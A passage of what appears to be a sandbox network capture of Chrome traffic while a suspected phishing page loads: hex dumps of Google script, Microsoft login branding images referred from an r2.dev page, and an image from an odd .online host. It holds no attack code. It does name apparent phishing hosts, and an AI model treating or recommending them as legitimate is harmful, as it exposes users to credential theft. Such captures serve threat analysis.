2024-10-07 18:59:10 UTC	376	IN	Data Raw: 31 37 31 0d 0a 26 26 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 26 26 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 28 22 53 65 61 72 63 68 48 65 61 64 53 74 61 72 74 22 29 3b 76 61 72 20 4f 3b 69 66 28 28 4f 3d 67 6f 6f 67 6c 65 2e 73 74 76 73 63 29 3d 3d 6e 75 6c 6c 3f 30 3a 4f 2e 73 74 61 72 74 29 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 2e 6c 6f 61 64 2e 74 2e 73 74 61 72 74 3d 67 6f 6f 67 6c 65 2e 73 74 76 73 63 2e 73 74 61 72 74 3b 66 75 6e 63 74 69 6f 6e 20 50 28 61 29 7b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3d 3d 3d 22 68 69 64 64 65 6e 22 29 7b 67 6f 6f 67 6c 65 2e 63 2e 66 68 3d 61 3b 76 61 72 20 62 3b 74 26 26 28 62 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 2b 61 29 29 3b 67 6f 6f 67 6c 65 2e 74 69 Data Ascii: 171&&performance.mark&&performance.mark("SearchHeadStart");var O;if((O=google.stvsc)==null?0:O.start)google.timers.load.t.start=google.stvsc.start;function P(a){if(document.visibilityState==="hidden"){google.c.fh=a;var b;t&&(b=Math.floor(t+a));google.ti
2024-10-07 18:59:10 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 6e 69 74 79 3b 42 28 64 6f 63 75 6d 65 6e 74 2c 22 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 51 2c 21 30 29 3b 50 28 30 29 3b 78 26 26 28 67 6f 6f 67 6c 65 2e 63 2e 6f 69 6c 3d 72 61 2c 42 28 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 22 6c 6f 61 64 22 2c 4b 2c 21 30 29 2c 42 28 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 22 65 72 72 6f 72 22 2c 4b 2c 21 30 29 29 3b 67 6f 6f 67 6c 65 2e 63 76 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 69 66 28 21 61 7c 7c 21 62 26 26 64 61 28 61 29 29 72 65 74 75 72 6e 20 30 3b 69 66 28 21 61 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 29 72 65 74 75 72 6e 20 31 3b 76 61 72 20 65 3d 66 75 6e 63 Data Ascii: 8000nity;B(document,"visibilitychange",Q,!0);P(0);x&&(google.c.oil=ra,B(document.documentElement,"load",K,!0),B(document.documentElement,"error",K,!0));google.cv=function(a,b,c,d){if(!a\|\|!b&&da(a))return 0;if(!a.getBoundingClientRect)return 1;var e=func
2024-10-07 18:59:10 UTC	1390	IN	Data Raw: 6e 20 62 29 61 2b 3d 22 26 22 2b 67 2b 22 3d 22 2b 62 5b 67 5d 3b 66 3d 61 3b 67 3d 22 22 3b 61 3d 5b 5d 3b 70 2e 5f 63 73 68 69 64 26 26 0a 61 2e 70 75 73 68 28 5b 22 63 73 68 69 64 22 2c 70 2e 5f 63 73 68 69 64 5d 29 3b 62 3d 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 21 3d 3d 76 6f 69 64 20 30 26 26 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 2e 6b 4f 50 49 21 3d 3d 76 6f 69 64 20 30 26 26 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 2e 6b 4f 50 49 21 3d 3d 30 3f 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 2e 6b 4f 50 49 3a 6e 75 6c 6c 3b 62 21 3d 6e 75 6c 6c 26 26 61 2e 70 75 73 68 28 5b 22 6f 70 69 22 2c 62 2e 74 6f 53 74 72 69 6e 67 28 29 5d 29 3b 66 6f 72 28 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 62 2b 2b 29 7b 69 66 28 62 3d 3d 3d 30 7c 7c 62 3e 30 29 67 2b 3d Data Ascii: n b)a+="&"+g+"="+b[g];f=a;g="";a=[];p._cshid&&a.push(["cshid",p._cshid]);b=window.google!==void 0&&window.google.kOPI!==void 0&&window.google.kOPI!==0?window.google.kOPI:null;b!=null&&a.push(["opi",b.toString()]);for(b=0;b<a.length;b++){if(b===0\|\|b>0)g+=
2024-10-07 18:59:10 UTC	1390	IN	Data Raw: 53 65 61 72 63 68 41 46 54 45 6e 64 22 2c 7b 73 74 61 72 74 54 69 6d 65 3a 61 7d 29 29 29 7d 7d 3b 76 61 72 20 7a 61 3d 21 31 2c 58 3d 30 2c 59 3d 30 2c 5a 3b 66 75 6e 63 74 69 6f 6e 20 41 61 28 61 2c 62 29 7b 6e 61 26 26 21 67 6f 6f 67 6c 65 2e 63 2e 77 68 26 26 28 67 6f 6f 67 6c 65 2e 63 2e 77 68 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 48 65 69 67 68 74 7c 7c 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 29 2c 67 6f 6f 67 6c 65 2e 63 2e 77 68 26 26 41 28 22 77 68 75 22 2c 22 31 22 29 29 3b 76 61 72 20 63 3d 67 6f 6f 67 6c 65 2e 63 2e 77 68 2c 64 3d 21 62 3b 62 3d 62 3f 4d 61 74 68 2e 66 6c 6f 6f 72 28 62 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 Data Ascii: SearchAFTEnd",{startTime:a})))}};var za=!1,X=0,Y=0,Z;function Aa(a,b){na&&!google.c.wh&&(google.c.wh=Math.floor(window.innerHeight\|\|document.documentElement.clientHeight),google.c.wh&&A("whu","1"));var c=google.c.wh,d=!b;b=b?Math.floor(b.getBoundingClient
2024-10-07 18:59:10 UTC	1390	IN	Data Raw: 3b 64 2e 67 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 61 74 66 22 2c 53 74 72 69 6e 67 28 65 29 29 3b 72 65 74 75 72 6e 20 79 26 26 21 64 2e 42 26 26 28 21 64 2e 6c 7c 7c 64 2e 46 7c 7c 21 21 28 46 28 64 29 26 31 29 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 64 29 7b 79 26 26 7a 28 22 69 6d 6c 22 2c 64 7c 7c 61 29 3b 67 6f 6f 67 6c 65 2e 63 2e 75 28 22 69 6d 6c 22 29 7d 42 61 7c 7c 28 67 6f 6f 67 6c 65 2e 63 2e 62 28 22 69 6d 6c 22 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 78 61 28 62 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 63 29 7d 28 30 29 2c 42 61 3d 21 30 29 7d 3b 67 6f 6f 67 6c 65 2e 63 2e 75 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 69 66 28 21 78 7c 7c 77 29 67 6f 6f 67 6c 65 2e 63 2e 73 65 74 75 70 3d 43 61 3b 7d 29 2e 63 61 6c 6c Data Ascii: ;d.g.setAttribute("data-atf",String(e));return y&&!d.B&&(!d.l\|\|d.F\|\|!!(F(d)&1))}function c(d){y&&z("iml",d\|\|a);google.c.u("iml")}Ba\|\|(google.c.b("iml"),function(){xa(b,function(){},c)}(0),Ba=!0)};google.c.ub=function(){};if(!x\|\|w)google.c.setup=Ca;}).call

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.16	49778	152.199.21.175	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:10 UTC	717	OUT	GET /dbd5a2dd-gjxa816q3hienf9dbdm74agls6vi13-nhvsh77xhbcm/logintenantbranding/0/bannerlogo?ts=636613980192295167 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:11 UTC	652	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=86400 Content-MD5: xr5RUcv0swzW7YtUUi6njg== Content-Type: image/* Date: Mon, 07 Oct 2024 18:59:11 GMT Etag: 0x8D5B50AC4EBCFA1 Last-Modified: Tue, 08 May 2018 17:40:20 GMT Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 8902a91a-101e-0062-37ea-1881c5000000 x-ms-version: 2009-09-19 Content-Length: 8064 Connection: close
2024-10-07 18:59:11 UTC	8064	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 50 00 00 ff e1 03 55 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 32 20 37 39 2e 31 35 39 32 38 34 2c 20 32 30 31 36 2f 30 34 2f 31 39 2d 31 33 3a 31 33 3a 34 30 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*DuckyPUhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c132 79.159284, 2016/04/19-13:13:40 "> <rdf:RDF xm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.16	49777	152.199.21.175	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:10 UTC	719	OUT	GET /dbd5a2dd-gjxa816q3hienf9dbdm74agls6vi13-nhvsh77xhbcm/logintenantbranding/0/illustration?ts=636613980171400016 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:11 UTC	654	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=86400 Content-MD5: kES0Lyna5S+ab4aSibwJFA== Content-Type: image/* Date: Mon, 07 Oct 2024 18:59:10 GMT Etag: 0x8D5B50AC3CC2182 Last-Modified: Tue, 08 May 2018 17:40:18 GMT Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 8e14877e-d01e-0052-3bea-183f0a000000 x-ms-version: 2009-09-19 Content-Length: 226446 Connection: close
2024-10-07 18:59:11 UTC	16383	IN	Data Raw: ff d8 ff e1 0d 46 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 10 00 00 01 03 00 01 00 00 00 e4 1b 00 00 01 01 03 00 01 00 00 00 b4 0f 00 00 02 01 03 00 03 00 00 00 ce 00 00 00 03 01 03 00 01 00 00 00 01 00 00 00 06 01 03 00 01 00 00 00 02 00 00 00 12 01 03 00 01 00 00 00 01 00 00 00 15 01 03 00 01 00 00 00 03 00 00 00 1a 01 05 00 01 00 00 00 d4 00 00 00 1b 01 05 00 01 00 00 00 dc 00 00 00 1c 01 03 00 01 00 00 00 01 00 00 00 28 01 03 00 01 00 00 00 02 00 00 00 31 01 02 00 24 00 00 00 e4 00 00 00 32 01 02 00 14 00 00 00 08 01 00 00 3b 01 02 00 0f 00 00 00 1c 01 00 00 98 82 02 00 0f 00 00 00 2b 01 00 00 69 87 04 00 01 00 00 00 3c 01 00 00 74 01 00 00 10 00 10 00 10 00 c0 c6 2d 00 10 27 00 00 c0 c6 2d 00 10 27 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 Data Ascii: FExifII*(1$2;+i<t-'-'Adobe Photoshop
2024-10-07 18:59:11 UTC	16383	IN	Data Raw: 6a 48 6a 9f 6a f7 6b 4f 6b a7 6b ff 6c 57 6c af 6d 08 6d 60 6d b9 6e 12 6e 6b 6e c4 6f 1e 6f 78 6f d1 70 2b 70 86 70 e0 71 3a 71 95 71 f0 72 4b 72 a6 73 01 73 5d 73 b8 74 14 74 70 74 cc 75 28 75 85 75 e1 76 3e 76 9b 76 f8 77 56 77 b3 78 11 78 6e 78 cc 79 2a 79 89 79 e7 7a 46 7a a5 7b 04 7b 63 7b c2 7c 21 7c 81 7c e1 7d 41 7d a1 7e 01 7e 62 7e c2 7f 23 7f 84 7f e5 80 47 80 a8 81 0a 81 6b 81 cd 82 30 82 92 82 f4 83 57 83 ba 84 1d 84 80 84 e3 85 47 85 ab 86 0e 86 72 86 d7 87 3b 87 9f 88 04 88 69 88 ce 89 33 89 99 89 fe 8a 64 8a ca 8b 30 8b 96 8b fc 8c 63 8c ca 8d 31 8d 98 8d ff 8e 66 8e ce 8f 36 8f 9e 90 06 90 6e 90 d6 91 3f 91 a8 92 11 92 7a 92 e3 93 4d 93 b6 94 20 94 8a 94 f4 95 5f 95 c9 96 34 96 9f 97 0a 97 75 97 e0 98 4c 98 b8 99 24 99 90 99 fc 9a 68 9a Data Ascii: jHjjkOkklWlmm`mnnknooxop+ppq:qqrKrss]sttptu(uuv>vvwVwxxnxy*yyzFz{{c{\|!\|\|}A}~~b~#Gk0WGr;i3d0c1f6n?zM _4uL$h
2024-10-07 18:59:11 UTC	2	IN	Data Raw: 9c 27 Data Ascii: '
2024-10-07 18:59:11 UTC	16383	IN	Data Raw: 94 92 52 a1 20 94 c2 52 92 94 90 4d 29 22 a5 d2 25 32 78 49 4a 94 a5 32 52 92 17 92 94 a6 dc 9b 74 a4 a6 49 28 13 dd 2d c9 21 99 25 29 50 94 e2 4a 2a 64 94 a9 36 9b 5f f4 5a 4f c9 11 b8 37 bb f3 0a 4a 43 29 2b 2c e9 97 bf b0 1f 12 8a 3a 3b fb b8 25 6a 69 4a 52 b4 99 d1 7f 79 ff 00 70 44 6f 46 a8 72 5c 52 b0 a7 26 52 dc b6 db d3 31 c7 2d 9f 9a 98 e9 f4 37 86 0f 9a 16 a7 07 72 7d de 0b a0 6e 2d 4d e1 a3 ee 44 15 34 70 02 56 87 9d 0d 79 e1 a7 ee 53 66 35 ce fa 2c 77 dc ba 18 4a 12 b4 b8 4d e9 f9 04 7d 02 3e 28 8d e9 57 9e 60 7c d6 cc 68 94 25 6a a7 24 74 8b 3b b9 b0 a7 fb 1c f7 7f e0 b4 e1 28 4a d4 5c e6 f4 86 f7 79 f9 05 31 d2 6a ee 5c 55 e4 c1 0b 53 54 74 dc 71 cb 4f de 88 cc 2a 5b c3 02 3c 26 4a d4 51 8a 2b 1f 9a 3e e5 2f 4d bf ba 3e e5 24 be 29 29 42 06 Data Ascii: R RM)"%2xIJ2RtI(-!%)PJd6_ZO7JC)+,:;%jiJRypDoFr\R&R1-7r}n-MD4pVySf5,wJM}>(W`\|h%j$t;(J\y1j\USTtqO[<&JQ+>/M>$))B
2024-10-07 18:59:11 UTC	16383	IN	Data Raw: 24 a5 da 63 51 a7 c3 4f fa 95 21 6b c7 0e 3f e7 15 00 e2 d3 a6 85 27 b8 b8 c9 32 4a 28 a6 7e a3 ce a4 93 f3 29 6e 27 59 23 e6 50 c1 f0 4f af 09 29 28 b9 e0 6d 0f 7c 1e d2 50 7d 2a e7 e8 89 f8 27 33 3c a5 ba 74 94 95 4c c1 e0 34 0f 92 94 b8 7f bd 0d a7 6a 49 25 24 ce 93 1f 14 b5 f9 21 f2 a4 c2 41 33 aa 0a 65 b9 2d c4 77 85 12 53 ce 92 38 49 0b fa 84 79 a7 16 17 70 a1 29 cb 9c 4e e3 ca 28 67 b8 c2 93 6d 2c e3 4f 86 9f f5 28 40 cf 1a a6 94 12 d9 fb 6d a0 6d 0f 70 1e 12 50 df 73 9d f4 89 3f 32 87 a1 1c a5 a2 4a a6 46 c0 4e a2 53 8b 08 e3 45 02 e9 4d 32 8a a9 b3 5f 51 b2 9f a2 f7 34 7c 4a b3 5f d6 0b db cc 3f e2 3f ef cd 59 90 27 94 fc 99 1a 25 68 a7 6b fe 70 d8 ee 2a 67 de 54 5f f5 86 c6 68 ea d8 27 cd cb 22 47 3d d3 97 07 08 3a 84 ad 54 1d 53 f5 92 c0 27 65 Data Ascii: $cQO!k?'2J(~)n'Y#PO)(m\|P}'3<tL4jI%$!A3e-wS8Iyp)N(gm,O(@mmpPs?2JFNSEM2_Q4\|J_??Y'%hkpgT_h'"G=:TS'e
2024-10-07 18:59:11 UTC	2	IN	Data Raw: 1a e3 Data Ascii:
2024-10-07 18:59:11 UTC	16383	IN	Data Raw: 1e df a4 d6 ee 62 25 a1 a5 d3 58 21 a4 cc 4c ec fe 4e f7 fd 34 d3 10 36 5f 19 77 59 b2 78 32 81 66 3e f3 33 f8 2b 2e 2f b4 43 9c 23 c2 00 ff 00 a8 d8 a9 dd 7b 9a 60 7d e4 24 3c 12 48 ea ca ba 5b 59 97 1d 3f 04 4a 6d c2 69 22 c6 cc f0 40 3a 7e f2 a8 eb de f1 1a 7d da a4 ca 1f 66 ad 86 81 e2 53 c6 da b1 9d 4e 8e 9d ef a4 00 fa dc 23 8d 23 b7 fc 12 15 6e 04 98 69 3f 00 81 45 61 8e de f8 26 21 19 cd 74 4b 1c e1 f0 3a 7f d0 4c 21 92 36 c6 f7 bd d3 b0 98 8d 04 6a a9 9a 6c 71 d4 1f 9a b9 6e 45 93 ee f7 13 a0 2d 28 4f ba ea 84 c3 a3 f9 4d 28 8b 44 a8 9d 57 66 23 88 92 e8 f1 56 d9 d3 eb 7b 7d 96 17 11 04 6b af f2 9a f5 9e df d6 6c 87 9d a2 3b 29 bf 18 d7 fc d1 dc 4f 7e 3f ea 53 98 fa e8 db 0e 75 6e da 7b 77 21 2b 09 22 5c 5a 40 f2 20 a6 a3 0c bd a0 be 4b fb 9d c9 Data Ascii: b%X!LN46_wYx2f>3+./C#{`}$<H[Y?Jmi"@:~}fSN##ni?Ea&!tK:L!6jlqnE-(OM(DWf#V{}kl;)O~?Sun{w!+"\Z@ K
2024-10-07 18:59:11 UTC	16383	IN	Data Raw: a1 23 5e 55 dc 3f ab 76 65 17 06 10 e7 b1 a5 c7 dd a0 63 7e 93 9c ed a8 15 e3 54 07 b4 14 c3 32 17 47 18 2e ff 00 5e 6b 19 87 8d 8b 5c 17 31 8c 70 1c c6 e6 fb bd 4f f8 4b 5c fd eb 14 d0 58 3d f0 0f 84 26 2e 70 30 37 7d e9 9f 73 5c 7d f2 01 e6 01 2a 08 82 05 36 0d 23 ba da eb 10 e9 33 e0 02 3f a9 d2 b6 13 8c 32 1b 61 00 10 e0 c0 0b bf b1 f9 8a cd 99 18 ae c7 f4 a9 60 df dd ce 60 33 fe 77 d0 55 00 2f d2 22 74 46 d4 05 a1 75 f5 96 99 04 81 df ff 00 32 52 c7 ea ee a1 85 b8 fb b5 e7 4f fa 9d df 41 4d ec da 08 88 41 f4 3c 0c 4f 92 20 84 90 57 6f 51 cb 03 f4 44 b1 dc 6e dd 25 5b b3 a9 fa 85 c3 d2 3b 48 80 77 90 5a 7f 3d fe 93 3d 9b ec fe 5a a8 dc 77 1e e3 e3 23 fe a1 2f 45 e4 f6 3e 7c 24 69 6d 36 1d 75 43 fd 2b 84 70 48 06 7f f4 9a 1e f6 3d 90 c1 61 3c 92 5d 23 Data Ascii: #^U?vec~T2G.^k\1pOK\X=&.p07}s\}*6#3?2a``3wU/"tFu2ROAMA<O WoQDn%[;HwZ==Zw#/E>\|$im6uC+pH=a<]#
2024-10-07 18:59:11 UTC	16383	IN	Data Raw: b8 5a 1c d3 63 08 73 75 ee df 7b 56 d5 9f e3 03 34 8d cd 15 07 1e 44 3b ff 00 26 81 8b f5 34 5c f1 5b ae 0d 71 8d 7e 90 0a 7d 43 ea 15 98 75 3e f3 73 1d 5b 04 9d 0b 4a 78 38 c6 87 56 13 c4 76 d1 36 2f f8 c1 c8 0e 9c 86 0b 19 1c 33 f4 70 ef eb bf 7a af 97 f5 ef 31 cf 3e 94 56 c3 f4 5a 5a 1e 7f ed c7 7d 35 8f fb 19 e4 02 c8 1e 72 35 ff 00 ad ee 53 6e 0f a7 ad ce 2e 03 b1 09 df aa de 91 59 1d ff 00 f9 f0 32 62 9b 28 6b 18 ef 69 77 a8 e9 6e ef 6b de df fc cd 65 3f 11 b4 b2 5c 1c 7f 94 21 d5 b6 7e 8f a8 fa 9d 67 bd 0d 8c aa 7d 94 b6 23 c7 ff 00 27 bd 0c d2 c7 09 db ee ed ac 37 fb 5b 3e 9a 65 c4 6d a2 fe 09 56 ba a6 7f 52 a3 68 6b a8 68 89 02 c6 fb 3f ed ca db f4 d2 a5 ad b1 a1 c2 ca b5 f1 76 cf fa b5 4e dc 5b 2c fd c4 06 f4 e7 1f a4 e1 f7 23 e9 ef 48 02 5d 43 Data Ascii: Zcsu{V4D;&4\[q~}Cu>s[Jx8Vv6/3pz1>VZZ}5r5Sn.Y2b(kiwnke?\!~g}#'7[>emVRhkh?vN[,#H]C
2024-10-07 18:59:11 UTC	16383	IN	Data Raw: ee da b5 53 76 4b 5d c6 ff 00 b9 05 fb 5d c3 9e 3e 28 88 22 dd 8a f2 86 82 40 45 19 11 c3 c7 c8 2e 6c e3 3e 77 09 3a f7 45 6d 79 2d d5 a4 84 bd b1 dd 5c 67 b3 b4 eb 9c 74 92 7c 34 50 f4 ec b0 f6 1f 12 b2 4f db 06 bb 9d 09 c5 99 3c 0d c7 ef 43 db f1 09 e3 f0 76 19 87 dd c6 7e 08 ad c0 c6 70 3e a3 03 a7 99 3a ac aa fa 8e 4d 27 63 d8 4c 7d e8 cd ea f7 4b 41 63 47 89 ec 7f f2 09 a6 12 5c 25 12 83 3f a1 ba 8f d2 63 92 f6 0f cd 23 de 3f f4 b2 0d 7b 87 d2 90 ef 3d 0a d2 1d 5e f6 d8 37 b0 06 7f af e9 1a e5 5f 27 29 d7 9d 5a d8 e6 5a 60 a7 83 2d 8f da b4 81 d1 04 97 72 ef bd 20 e2 0c 72 82 e7 89 d6 0f c4 99 53 a6 cd ae 96 00 49 f8 94 48 45 a5 d9 bb 96 13 0b 57 a6 5d b5 8f 65 8d de d1 10 d7 0d cb 2b f6 89 6e 83 68 3f 02 ac 62 f5 50 c7 8f 51 cd db 3a e8 53 78 4a 6c Data Ascii: SvK...("@E.l>w:Emy-\gt\|4PO<Cv~p>:M'cL}KAcG\%?c#?{=^7_')ZZ`-r rSIHEW]e+nh?bPQ:SxJl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.16	49782	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:11 UTC	378	OUT	GET /static/media/message_think.png HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:11 UTC	836	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:11 GMT Content-Type: image/png Content-Length: 810 Connection: close Content-Disposition: inline; filename="message_think.png" Last-Modified: Sat, 04 Nov 2023 15:29:55 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=247N51xM3S9oghp0CMBFh%2BTrPAd2rgODV1xL%2FlSwVCahaT0LtQPfFkzB9iXIOCvcWqknheqwB%2Biac7UweMnU96j%2Fs1MiAPOoHbDaA1eChzYxwEkzyL6%2FT4EXZ%2BpBv%2FUzFaAWjb8VUcgY3nM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf0207b0ccd4310-EWR
2024-10-07 18:59:11 UTC	533	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 02 76 49 44 41 54 78 9c ed da 31 6e 13 41 18 86 e1 19 93 94 b9 02 57 a0 70 8b 58 23 41 83 10 5d a4 70 1a 38 00 27 a0 44 48 1c 82 22 de 50 73 09 da 14 34 90 d2 4b 93 36 22 0b 7c de 99 e5 79 5a 6b f7 ff 25 bf da f1 4a 2e 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 8f d4 63 0c d9 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-vIDATx1nAWpX#A]p8'DH"Ps4K6"\|yZk%J.c
2024-10-07 18:59:11 UTC	277	IN	Data Raw: 03 ce cf cf 1f 5c 5f 5f 7f 28 a5 5c cc 99 c5 df 59 f5 51 78 1b d5 c7 52 ca c5 d2 bb fc 6f 56 1b 96 a8 96 b5 ca b0 44 b5 bc d5 85 25 aa 36 ac 2a 2c 51 b5 e3 28 6f 85 fb fd 7e d6 eb d8 30 0c 6f 6b ad 6f e6 5c 73 9f a8 0e 87 c3 4d ad f5 e5 38 8e 97 73 ee cd 7c ab 78 62 89 aa 3d dd 87 25 aa 36 75 1d 96 a8 da d5 6d 58 a2 6a 5b 97 61 89 aa 7d dd 85 25 aa 3e f4 16 d6 89 a8 fa b0 f4 bf 1b e6 7a fc 9b cf 7f 94 52 5e 8c e3 f8 e5 18 cb 70 b7 de 9e 58 77 3a 1c 0e 37 d3 34 bd ba ba ba 12 55 03 56 11 96 e3 af 3d dd 87 25 aa 36 75 1d 96 a8 da d5 6d 58 a2 6a 5b 97 61 89 aa 7d dd 85 25 aa 3e 74 15 96 a8 fa d1 4d 58 a2 ea 4b 17 61 89 aa 3f cd 87 25 aa 3e 35 1d 96 a8 fa d5 6c 58 a2 ea 5b ab 61 fd 14 15 ff dc 76 bb 3d 5d 7a 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 Data Ascii: \__(\YQxRoVD%6*,Q(o~0oko\sM8s\|xb=%6umXj[a}%>zR^pXw:74UV=%6umXj[a}%>tMXKa?%>5lX[av=]z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.16	49781	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
